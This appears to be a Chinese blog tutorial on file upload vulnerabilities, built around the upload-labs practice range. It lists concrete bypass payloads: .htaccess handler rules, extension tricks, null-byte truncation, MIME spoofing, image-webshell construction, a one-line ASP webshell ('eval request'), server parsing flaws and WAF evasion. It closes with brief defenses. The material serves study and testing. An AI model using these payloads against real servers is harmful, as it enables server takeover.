文件上传漏洞

2022-11-02 13:34:38 浏览数 (1)

0x01 漏洞简介

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种漏洞是getShell最快最直接的方法之一。

常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。

0x02 漏洞靶场

1. 靶场简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

2. 环境要求

配置项

配置

描述

操作系统

Window or Linux

推荐使用Windows,除了Pass-19必须在linux下,其余Pass都可以在Windows上运行

PHP版本

推荐5.2.17

其他版本可能会导致部分Pass无法突破

PHP组件

php_gd2,php_exif

部分Pass依赖这两个组件

中间件

设置Apache以moudel方式连接

3. Windows 搭建

项目提供了一个Windows下,按照以上配置要求配置好的集成环境

下载地址:https://github.com/c0ny1/upload-labs/releases

集成环境绿色免安装,解压即可使用。

4. Linux 搭建

创建镜像

代码语言:javascript复制
$ cd upload-labs/docker
$ docker build -t upload-labs .
或者
$ docker pull c0ny1/upload-labs

创建容器

代码语言:javascript复制
$  docker run -d -p 80:80 upload-labs:latest

0x03 客户端绕过

一般都是在网页上写一段javascript脚本,校验上传文件的后缀名是否合法,有白名单和黑名单两种形式。

  1. 直接删除网页代码中关于文件上传时验证上传文件的js代码即可。
  2. 利用Burp改包,由于只是js验证,我们可以先将文件重命名为js允许的后缀名,然后在用burp发送数据包时候改成我们想要的后缀名,如:jsp、php、asp等。

0x04 服务端绕过

1. 检查后缀:黑名单

1.1 特殊后缀名

黑名单处理过滤了文件后缀,我们可以通过特殊可解析后缀进行绕过。

代码语言:javascript复制
jsp jspx jspf

asp asa cer aspx

php1 php2 php3 php4 phtml

exe exee
1.2 上传.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

利用代码如下

代码语言:javascript复制
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

通过.htaccess文件,调用php的解析器解析一个文件名只要包含“shell”这个字符串的任意文件。这个“shell”的内容如果是一句话木马,就可以利用中国菜刀进行连接。

.htaccess可以用notepad 创建保存

也可以利用图片马上传,生成图片马的cmd命令如下

代码语言:javascript复制
copy 1.jpg/b   1.php/a 2.jpg

漏洞意义

  1. 如果可以上传.htaccess文件,就可以利用规则解析
  2. 如果存在修改.htaccess文件权限,那么直接修改规则解析
  3. 利用解析漏洞,将一句话木马写入其他格式的文件,达到权限维持
1.3 后缀大小写绕过

黑名单没有没有对限制的文件名大小写进行统一。比如过滤了php,则可以用Php、pHP、PHP、pHp等方式绕过。

1.4 空格绕过

黑名单没有对文件中的空格进行处理,可在后缀名中加空格绕过。

用Burp抓包,在 filename 参数双引号内,文件名后面,加空格绕过。

代码语言:javascript复制
filename="1.PHP "
1.5 点绕过

windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过

代码语言:javascript复制
filename="1.PHP."
1.6 ::$DATA绕过

同windows特性,同样用Burp抓包 ,然在文件后缀名中加::$DATA绕过

代码语言:javascript复制
filename="1.PHP::$DATA"
1.7 路径拼接绕过

源代码中,没有对文件名末尾的点符号进行绕过,并且把处理过的文件名拼接到路径中。

可以构造文件名1.PHP. . (点 空格 点),经过处理后,文件名变成1.PHP.,即可绕过。

1.8 双写后缀名绕过

采用双写绕过,例如:1.pphphp、1.jsjspp

2. 检查后缀:白名单

2.1 MIME绕过

burp抓包修改即可绕过,上传一个php文件,然后将 Content-type 后的内容改为合法格式,如图片类型的:image/jpeg

代码语言:javascript复制
Content-type: image/jpeg
Content-type: application/octet-stream
2.2 截断(GET)

代码中,文件路径采用字符串拼接的方式,因此可以利用截断绕过

用Burp抓包,在数据包第一行的url请求文件名后加上,抓包后的数据包第一行修改如下

代码语言:javascript复制
POST /Pass-11/index.php?save_path=../upload/1.php

然后直接访问/upload/1.php即可

2.3 截断(POST)

通过post传进来的,在还是利用00截断,用Burp抓包,在二进制中找到文件名,在文件名后的位置的二进制数值进行修改为00,因为post不会像get对进行自动解码。

接下来访问上传的文件路径即可

2.4 文件名处回车

用Burp抓包,在数据包filename的参数中对文件名后缀回车,如下:

代码语言:javascript复制
filename="shell.ph
p"

3. 检查内容

3.1 文件幻数检测

主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,

要绕过jpg 文件幻数检测就要在文件开头写上下图的值:

代码语言:javascript复制
FF D8 FF E0 00 10 4A 46 49 46

要绕过gif 文件幻数检测就要在文件开头写上下图的值:

代码语言:javascript复制
47 49 46 38 39 61

要绕过png 文件幻数检测就要在文件开头写上下面的值:

代码语言:javascript复制
89 50 4E 47

要绕过gif 文件幻数检测就要在文件开头写上下图的值:

代码语言:javascript复制
50 4B 03 04

然后在文件幻数后面加上自己的一句话木马代码就行了

3.2 文件相关信息检测

图像文件相关信息检测常用的就是getimagesize()函数

只需要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息

有点像下面的结构

代码语言:javascript复制
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

图片马绕过

代码语言:javascript复制
copy normal.jpg /b   shell.php /a webshell.jpg
3.3 对渲染/加载测试攻击

可以用图像处理软件对一张图片进行代码注入

用winhex 看数据可以分析出这类工具的原理是

在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区

对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的

3.4 二次渲染

imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了

得去找图片经过GD库转化后没有改变的部分,再将未改变的部分修改为相应的php代码。

4. 条件竞争

先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,然后不断尝试访问webshell。

0x05 结合其他漏洞

1. 服务器解析漏洞

IS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

  • 形式:www.xxx.com/xx.asp/xx.jpg
  • 原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。

文件解析

  • 形式:www.xxx.com/xx.asp;.jpg
  • 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

代码语言:javascript复制
/test.asa
/test.cer
/test.cdx

IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

2. Apache解析漏洞

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.qwe.asd.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

漏洞形式

代码语言:javascript复制
www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

  1. 如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
  2. 如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方案

  1. apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
  2. 用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewritemodule modules/modrewrite.so 把#号去掉,重启apache,在网站根目录下建立.htaccess文件
代码语言:javascript复制
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

3. Nginx解析漏洞

漏洞原理

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME

当访问 www.xx.com/phpinfo.jpg/1.php这个URL时, $fastcgi_script_name会被设置为 “phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI.

但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPTFILENAME是phpinfo.jpg,而1.php是PATHINFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

漏洞形式

代码语言:javascript复制
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg .php
www.xxxx.com/UploadFiles/image/1.jpg/  .php

另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

0x06 WAF 绕过

内容来自:https://www.cnblogs.com/shellr00t/p/6426945.html

1. 垃圾数据

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

2. 添加filename

针对早期版本安全狗,可以多加一个filename

或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:

3. POST/GET

有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。

4. 利用waf本身缺陷

删除实体里面的Conten-Type字段

第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。

代码语言:javascript复制
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

删除Content-Disposition字段里的空格

增加一个空格导致安全狗被绕过案列:

代码语言:javascript复制
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099

尝试在boundary后面加个空格或者其他可被正常处理的字符:

代码语言:javascript复制
boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小写

Boundary边界不一致

每次文件上传时的Boundary边界都是一致的:

代码语言:javascript复制
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--

但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨: Win2k3 IIS6.0 ASP

文件名处回车

多个Content-Disposition

在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 IIS7.0 PHP

利用NTFS ADS特性

ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过

文件重命名绕过

如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

特殊的长文件名绕过

文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:

代码语言:javascript复制
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

0x07 漏洞防范

  • 文件扩展名服务端白名单校验。
  • 文件内容服务端校验。
  • 上传文件重命名。
  • 隐藏上传文件路径。
  • 安全WAF防护软件。

参考文章

  • https://www.cnblogs.com/shellr00t/p/6426945.html
  • https://www.jianshu.com/p/1ccbab572974

0 人点赞